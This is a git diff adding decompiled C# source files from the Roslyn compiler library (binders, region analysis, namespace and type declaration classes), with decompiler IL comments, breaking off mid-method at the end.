b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionAnalysisContext.cs @@ -0,0 +1,49 @@ +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct RegionAnalysisContext +{ + public readonly CSharpCompilation Compilation; + + public readonly Symbol Member; + + public readonly BoundNode BoundNode; + + public readonly BoundNode FirstInRegion; + + public readonly BoundNode LastInRegion; + + public readonly bool Failed; + + public RegionAnalysisContext(CSharpCompilation compilation, Symbol member, BoundNode boundNode, BoundNode firstInRegion, BoundNode lastInRegion) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + Compilation = compilation; + Member = member; + BoundNode = boundNode; + FirstInRegion = firstInRegion; + LastInRegion = lastInRegion; + int failed; + if (boundNode != null && firstInRegion != null && lastInRegion != null) + { + int spanStart = firstInRegion.Syntax.SpanStart; + TextSpan span = lastInRegion.Syntax.Span; + failed = ((spanStart > ((TextSpan)(ref span)).End) ? 1 : 0); + } + else + { + failed = 1; + } + Failed = (byte)failed != 0; + if (!Failed && firstInRegion == lastInRegion) + { + BoundKind kind = firstInRegion.Kind; + if (kind == BoundKind.TypeExpression || kind == BoundKind.NamespaceExpression) + { + Failed = true; + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionPlace.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionPlace.cs new file mode 100644 index 0000000..c25fa3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionPlace.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum RegionPlace +{ + Before, + Inside, + After +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionReachableWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionReachableWalker.cs new file mode 100644 index 0000000..76a2240 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionReachableWalker.cs @@ -0,0 +1,43 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal class RegionReachableWalker : AbstractRegionControlFlowPass +{ + private bool? _regionStartPointIsReachable; + + private bool? _regionEndPointIsReachable; + + internal static void Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, out bool startPointIsReachable, out bool endPointIsReachable) + { + RegionReachableWalker regionReachableWalker = new RegionReachableWalker(compilation, member, node, firstInRegion, lastInRegion); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + bool badRegion = false; + try + { + regionReachableWalker.Analyze(ref badRegion, instance); + startPointIsReachable = badRegion || (regionReachableWalker._regionStartPointIsReachable ?? true); + endPointIsReachable = badRegion || regionReachableWalker._regionEndPointIsReachable.GetValueOrDefault(regionReachableWalker.State.Alive); + } + finally + { + instance.Free(); + regionReachableWalker.Free(); + } + } + + private RegionReachableWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + protected override void EnterRegion() + { + _regionStartPointIsReachable = State.Alive; + base.EnterRegion(); + } + + protected override void LeaveRegion() + { + _regionEndPointIsReachable = State.Alive; + base.LeaveRegion(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ResumableStateMachineStateAllocator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ResumableStateMachineStateAllocator.cs new file mode 100644 index 0000000..4d098e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ResumableStateMachineStateAllocator.cs @@ -0,0 +1,80 @@ +using System; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ResumableStateMachineStateAllocator +{ + private readonly VariableSlotAllocator? _slotAllocator; + + private readonly bool _increasing; + + private readonly StateMachineState _firstState; + + private StateMachineState _nextState; + + private int _matchedStateCount; + + public bool HasMissingStates + { + get + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Expected I4, but got Unknown + int matchedStateCount = _matchedStateCount; + VariableSlotAllocator? slotAllocator = _slotAllocator; + return matchedStateCount < Math.Abs((((_003F?)((slotAllocator != null) ? slotAllocator.GetFirstUnusedStateMachineState(_increasing) : ((StateMachineState?)null))) ?? _firstState) - _firstState); + } + } + + public ResumableStateMachineStateAllocator(VariableSlotAllocator? slotAllocator, StateMachineState firstState, bool increasing) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + _increasing = increasing; + _slotAllocator = slotAllocator; + _matchedStateCount = 0; + _firstState = firstState; + _nextState = (StateMachineState)(((_003F?)((slotAllocator != null) ? slotAllocator.GetFirstUnusedStateMachineState(increasing) : ((StateMachineState?)null))) ?? firstState); + } + + public StateMachineState AllocateState(SyntaxNode awaitOrYieldReturnSyntax, AwaitDebugId awaitId) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + int num = (_increasing ? 1 : (-1)); + VariableSlotAllocator? slotAllocator = _slotAllocator; + StateMachineState nextState = default(StateMachineState); + if (slotAllocator != null && slotAllocator.TryGetPreviousStateMachineState(awaitOrYieldReturnSyntax, awaitId, ref nextState)) + { + _matchedStateCount++; + } + else + { + nextState = _nextState; + _nextState = (StateMachineState)(_nextState + num); + } + return nextState; + } + + public BoundStatement? GenerateThrowMissingStateDispatch(SyntheticBoundNodeFactory f, BoundExpression cachedState, string message) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (!HasMissingStates) + { + return null; + } + return f.If(f.Binary(_increasing ? BinaryOperatorKind.IntGreaterThanOrEqual : BinaryOperatorKind.IntLessThanOrEqual, f.SpecialType((SpecialType)7), cachedState, f.Literal(_firstState)), f.Throw(f.New(f.WellKnownMethod((WellKnownMember)454), f.StringLiteral(ConstantValue.Create(message))))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RootSingleNamespaceDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RootSingleNamespaceDeclaration.cs new file mode 100644 index 0000000..b1df62f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RootSingleNamespaceDeclaration.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class RootSingleNamespaceDeclaration : SingleNamespaceDeclaration +{ + private readonly ImmutableArray _referenceDirectives; + + private readonly bool _hasAssemblyAttributes; + + private readonly bool _hasGlobalUsings; + + private readonly bool _hasUsings; + + private readonly bool _hasExternAliases; + + public QuickAttributes GlobalAliasedQuickAttributes { get; } + + public ImmutableArray ReferenceDirectives => _referenceDirectives; + + public bool HasAssemblyAttributes => _hasAssemblyAttributes; + + public override bool HasGlobalUsings => _hasGlobalUsings; + + public override bool HasUsings => _hasUsings; + + public override bool HasExternAliases => _hasExternAliases; + + public RootSingleNamespaceDeclaration(bool hasGlobalUsings, bool hasUsings, bool hasExternAliases, SyntaxReference treeNode, ImmutableArray children, ImmutableArray referenceDirectives, bool hasAssemblyAttributes, ImmutableArray diagnostics, QuickAttributes globalAliasedQuickAttributes) + : base(string.Empty, treeNode, new SourceLocation(treeNode), children, diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected O, but got Unknown + _referenceDirectives = referenceDirectives; + _hasAssemblyAttributes = hasAssemblyAttributes; + _hasGlobalUsings = hasGlobalUsings; + _hasUsings = hasUsings; + _hasExternAliases = hasExternAliases; + GlobalAliasedQuickAttributes = globalAliasedQuickAttributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ScriptLocalScopeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ScriptLocalScopeBinder.cs new file mode 100644 index 0000000..97b8996 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ScriptLocalScopeBinder.cs @@ -0,0 +1,82 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ScriptLocalScopeBinder : LocalScopeBinder +{ + internal new sealed class Labels + { + private readonly SynthesizedInteractiveInitializerMethod _scriptInitializer; + + private readonly CompilationUnitSyntax _syntax; + + private ImmutableArray _lazyLabels; + + internal SynthesizedInteractiveInitializerMethod ScriptInitializer => _scriptInitializer; + + internal Labels(SynthesizedInteractiveInitializerMethod scriptInitializer, CompilationUnitSyntax syntax) + { + _scriptInitializer = scriptInitializer; + _syntax = syntax; + } + + internal ImmutableArray GetLabels() + { + if (_lazyLabels == null) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyLabels, GetLabels(_scriptInitializer, _syntax)); + } + return _lazyLabels; + } + + private static ImmutableArray GetLabels(SynthesizedInteractiveInitializerMethod scriptInitializer, CompilationUnitSyntax syntax) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder labels = ArrayBuilder.GetInstance(); + Enumerator enumerator = syntax.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberDeclarationSyntax current = enumerator.Current; + if (current.Kind() == SyntaxKind.GlobalStatement) + { + LocalScopeBinder.BuildLabels(scriptInitializer, ((GlobalStatementSyntax)current).Statement, ref labels); + } + } + return labels.ToImmutableAndFree(); + } + } + + private readonly Labels _labels; + + internal override Symbol ContainingMemberOrLambda => _labels.ScriptInitializer; + + internal override bool IsLabelsScopeBinder => true; + + internal ScriptLocalScopeBinder(Labels labels, Binder next) + : base(next) + { + _labels = labels; + } + + protected override ImmutableArray BuildLabels() + { + return _labels.GetLabels(); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ScriptLocalScopeBinder.cs", 44); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/ScriptLocalScopeBinder.cs", 49); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleLocalScopeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleLocalScopeBinder.cs new file mode 100644 index 0000000..02915ce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleLocalScopeBinder.cs @@ -0,0 +1,31 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SimpleLocalScopeBinder : LocalScopeBinder +{ + private readonly ImmutableArray _locals; + + public SimpleLocalScopeBinder(ImmutableArray locals, Binder next) + : base(next) + { + _locals = locals; + } + + protected override ImmutableArray BuildLocals() + { + return _locals; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SimpleLocalScopeBinder.cs", 32); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SimpleLocalScopeBinder.cs", 37); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramBinder.cs new file mode 100644 index 0000000..8863999 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramBinder.cs @@ -0,0 +1,96 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SimpleProgramBinder : LocalScopeBinder +{ + private readonly SynthesizedSimpleProgramEntryPointSymbol _entryPoint; + + internal override bool IsLocalFunctionsScopeBinder => true; + + internal override bool IsLabelsScopeBinder => true; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_entryPoint.SyntaxNode; + + public SimpleProgramBinder(Binder enclosing, SynthesizedSimpleProgramEntryPointSymbol entryPoint) + : base(enclosing, enclosing.Flags) + { + _entryPoint = entryPoint; + } + + protected override ImmutableArray BuildLocals() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(16); + Enumerator enumerator = _entryPoint.CompilationUnit.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is GlobalStatementSyntax globalStatementSyntax) + { + BuildLocals(this, globalStatementSyntax.Statement, instance); + } + } + return instance.ToImmutableAndFree(); + } + + protected override ImmutableArray BuildLocalFunctions() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder locals = null; + Enumerator enumerator = _entryPoint.CompilationUnit.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is GlobalStatementSyntax globalStatementSyntax) + { + BuildLocalFunctions(globalStatementSyntax.Statement, ref locals); + } + } + return locals?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + protected override ImmutableArray BuildLabels() + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder labels = null; + Enumerator enumerator = _entryPoint.CompilationUnit.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is GlobalStatementSyntax globalStatementSyntax) + { + LocalScopeBinder.BuildLabels(_entryPoint, globalStatementSyntax.Statement, ref labels); + } + } + return labels?.ToImmutableAndFree() ?? ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if (ScopeDesignator == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SimpleProgramBinder.cs", 94); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + if ((object)ScopeDesignator == scopeDesignator) + { + return LocalFunctions; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/SimpleProgramBinder.cs", 112); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramUnitBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramUnitBinder.cs new file mode 100644 index 0000000..3185acb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleProgramUnitBinder.cs @@ -0,0 +1,46 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SimpleProgramUnitBinder : LocalScopeBinder +{ + private readonly SimpleProgramBinder _scope; + + internal override bool IsLocalFunctionsScopeBinder => _scope.IsLocalFunctionsScopeBinder; + + internal override bool IsLabelsScopeBinder => false; + + internal override SyntaxNode? ScopeDesignator => _scope.ScopeDesignator; + + public SimpleProgramUnitBinder(Binder enclosing, SimpleProgramBinder scope) + : base(enclosing, enclosing.Flags) + { + _scope = scope; + } + + protected override ImmutableArray BuildLocals() + { + return _scope.Locals; + } + + protected override ImmutableArray BuildLocalFunctions() + { + return _scope.LocalFunctions; + } + + protected override ImmutableArray BuildLabels() + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + return _scope.GetDeclaredLocalsForScope(scopeDesignator); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + return _scope.GetDeclaredLocalFunctionsForScope(scopeDesignator); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleSyntaxReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleSyntaxReference.cs new file mode 100644 index 0000000..24ec749 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SimpleSyntaxReference.cs @@ -0,0 +1,23 @@ +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SimpleSyntaxReference : SyntaxReference +{ + private readonly SyntaxNode _node; + + public override SyntaxTree SyntaxTree => _node.SyntaxTree; + + public override TextSpan Span => _node.Span; + + internal SimpleSyntaxReference(SyntaxNode node) + { + _node = node; + } + + public override SyntaxNode GetSyntax(CancellationToken cancellationToken) + { + return _node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleLookupResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleLookupResult.cs new file mode 100644 index 0000000..ce661ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleLookupResult.cs @@ -0,0 +1,17 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct SingleLookupResult +{ + internal readonly LookupResultKind Kind; + + internal readonly Symbol Symbol; + + internal readonly DiagnosticInfo Error; + + internal SingleLookupResult(LookupResultKind kind, Symbol symbol, DiagnosticInfo error) + { + Kind = kind; + Symbol = symbol; + Error = error; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclaration.cs new file mode 100644 index 0000000..c444732 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclaration.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SingleNamespaceDeclaration : SingleNamespaceOrTypeDeclaration +{ + private readonly ImmutableArray _children; + + public override DeclarationKind Kind => DeclarationKind.Namespace; + + public virtual bool HasGlobalUsings => false; + + public virtual bool HasUsings => false; + + public virtual bool HasExternAliases => false; + + protected SingleNamespaceDeclaration(string name, SyntaxReference syntaxReference, SourceLocation nameLocation, ImmutableArray children, ImmutableArray diagnostics) + : base(name, syntaxReference, nameLocation, diagnostics) + { + _children = children; + } + + protected override ImmutableArray GetNamespaceOrTypeDeclarationChildren() + { + return _children; + } + + public static SingleNamespaceDeclaration Create(string name, bool hasUsings, bool hasExternAliases, SyntaxReference syntaxReference, SourceLocation nameLocation, ImmutableArray children, ImmutableArray diagnostics) + { + if (!hasUsings && !hasExternAliases) + { + return new SingleNamespaceDeclaration(name, syntaxReference, nameLocation, children, diagnostics); + } + return new SingleNamespaceDeclarationEx(name, hasUsings, hasExternAliases, syntaxReference, nameLocation, children, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclarationEx.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclarationEx.cs new file mode 100644 index 0000000..ec315fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceDeclarationEx.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SingleNamespaceDeclarationEx : SingleNamespaceDeclaration +{ + private readonly bool _hasUsings; + + private readonly bool _hasExternAliases; + + public override bool HasUsings => _hasUsings; + + public override bool HasExternAliases => _hasExternAliases; + + public SingleNamespaceDeclarationEx(string name, bool hasUsings, bool hasExternAliases, SyntaxReference syntaxReference, SourceLocation nameLocation, ImmutableArray children, ImmutableArray diagnostics) + : base(name, syntaxReference, nameLocation, children, diagnostics) + { + _hasUsings = hasUsings; + _hasExternAliases = hasExternAliases; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceOrTypeDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceOrTypeDeclaration.cs new file mode 100644 index 0000000..3c6cb11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleNamespaceOrTypeDeclaration.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class SingleNamespaceOrTypeDeclaration : Declaration +{ + private readonly SyntaxReference _syntaxReference; + + private readonly SourceLocation _nameLocation; + + public readonly ImmutableArray Diagnostics; + + public SourceLocation Location => new SourceLocation(SyntaxReference); + + public SyntaxReference SyntaxReference => _syntaxReference; + + public SourceLocation NameLocation => _nameLocation; + + public new ImmutableArray Children => GetNamespaceOrTypeDeclarationChildren(); + + protected SingleNamespaceOrTypeDeclaration(string name, SyntaxReference syntaxReference, SourceLocation nameLocation, ImmutableArray diagnostics) + : base(name) + { + _syntaxReference = syntaxReference; + _nameLocation = nameLocation; + Diagnostics = diagnostics; + } + + protected override ImmutableArray GetDeclarationChildren() + { + return StaticCast.From(GetNamespaceOrTypeDeclarationChildren()); + } + + protected abstract ImmutableArray GetNamespaceOrTypeDeclarationChildren(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleTypeDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleTypeDeclaration.cs new file mode 100644 index 0000000..aa805cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SingleTypeDeclaration.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SingleTypeDeclaration : SingleNamespaceOrTypeDeclaration +{ + [Flags] + internal enum TypeDeclarationFlags : ushort + { + None = 0, + AnyMemberHasExtensionMethodSyntax = 2, + HasAnyAttributes = 4, + HasBaseDeclarations = 8, + AnyMemberHasAttributes = 0x10, + HasAnyNontypeMembers = 0x20, + HasAwaitExpressions = 0x40, + IsIterator = 0x80, + HasReturnWithExpression = 0x100, + IsSimpleProgram = 0x200, + HasRequiredMembers = 0x400, + HasPrimaryConstructor = 0x800 + } + + internal readonly struct TypeDeclarationIdentity : IEquatable + { + private readonly SingleTypeDeclaration _decl; + + internal TypeDeclarationIdentity(SingleTypeDeclaration decl) + { + _decl = decl; + } + + public override bool Equals(object obj) + { + if (obj is TypeDeclarationIdentity) + { + return Equals((TypeDeclarationIdentity)obj); + } + return false; + } + + public bool Equals(TypeDeclarationIdentity other) + { + SingleTypeDeclaration decl = _decl; + SingleTypeDeclaration decl2 = other._decl; + if (decl == decl2) + { + return true; + } + if (decl._arity != decl2._arity || decl._kind != decl2._kind || decl.name != decl2.name) + { + return false; + } + if (decl.SyntaxReference.SyntaxTree != decl2.SyntaxReference.SyntaxTree && ((decl.Modifiers & DeclarationModifiers.File) != DeclarationModifiers.None || (decl2.Modifiers & DeclarationModifiers.File) != DeclarationModifiers.None)) + { + return false; + } + if (decl._kind == DeclarationKind.Enum || decl._kind == DeclarationKind.Delegate) + { + return false; + } + return true; + } + + public override int GetHashCode() + { + SingleTypeDeclaration decl = _decl; + return Hash.Combine(decl.Name.GetHashCode(), Hash.Combine(decl.Arity.GetHashCode(), (int)decl.Kind)); + } + } + + private readonly DeclarationKind _kind; + + private readonly TypeDeclarationFlags _flags; + + private readonly ushort _arity; + + private readonly DeclarationModifiers _modifiers; + + private readonly ImmutableArray _children; + + private readonly StrongBox> _memberNames; + + public QuickAttributes QuickAttributes { get; } + + public override DeclarationKind Kind => _kind; + + public new ImmutableArray Children => _children; + + public int Arity => _arity; + + public DeclarationModifiers Modifiers => _modifiers; + + public StrongBox> MemberNames => _memberNames; + + public bool AnyMemberHasExtensionMethodSyntax => (_flags & TypeDeclarationFlags.AnyMemberHasExtensionMethodSyntax) != 0; + + public bool HasAnyAttributes => (_flags & TypeDeclarationFlags.HasAnyAttributes) != 0; + + public bool HasBaseDeclarations => (_flags & TypeDeclarationFlags.HasBaseDeclarations) != 0; + + public bool AnyMemberHasAttributes => (_flags & TypeDeclarationFlags.AnyMemberHasAttributes) != 0; + + public bool HasAnyNontypeMembers => (_flags & TypeDeclarationFlags.HasAnyNontypeMembers) != 0; + + public bool HasAwaitExpressions => (_flags & TypeDeclarationFlags.HasAwaitExpressions) != 0; + + public bool HasReturnWithExpression => (_flags & TypeDeclarationFlags.HasReturnWithExpression) != 0; + + public bool IsIterator => (_flags & TypeDeclarationFlags.IsIterator) != 0; + + public bool IsSimpleProgram => (_flags & TypeDeclarationFlags.IsSimpleProgram) != 0; + + public bool HasRequiredMembers => (_flags & TypeDeclarationFlags.HasRequiredMembers) != 0; + + public bool HasPrimaryConstructor => (_flags & TypeDeclarationFlags.HasPrimaryConstructor) != 0; + + internal TypeDeclarationIdentity Identity => new TypeDeclarationIdentity(this); + + internal SingleTypeDeclaration(DeclarationKind kind, string name, int arity, DeclarationModifiers modifiers, TypeDeclarationFlags declFlags, SyntaxReference syntaxReference, SourceLocation nameLocation, StrongBox> memberNames, ImmutableArray children, ImmutableArray diagnostics, QuickAttributes quickAttributes) + : base(name, syntaxReference, nameLocation, diagnostics) + { + _kind = kind; + _arity = (ushort)arity; + _modifiers = modifiers; + _memberNames = memberNames; + _children = children; + _flags = declFlags; + QuickAttributes = quickAttributes; + } + + protected override ImmutableArray GetNamespaceOrTypeDeclarationChildren() + { + return StaticCast.From(_children); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SourceDocumentationCommentUtils.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SourceDocumentationCommentUtils.cs new file mode 100644 index 0000000..bfa11af --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SourceDocumentationCommentUtils.cs @@ -0,0 +1,105 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class SourceDocumentationCommentUtils +{ + internal static string GetAndCacheDocumentationComment(Symbol symbol, bool expandIncludes, ref string lazyXmlText) + { + if (lazyXmlText == null) + { + string documentationCommentXml = DocumentationCommentCompiler.GetDocumentationCommentXml(symbol, expandIncludes, default(CancellationToken)); + Interlocked.CompareExchange(ref lazyXmlText, documentationCommentXml, null); + } + return lazyXmlText; + } + + internal static 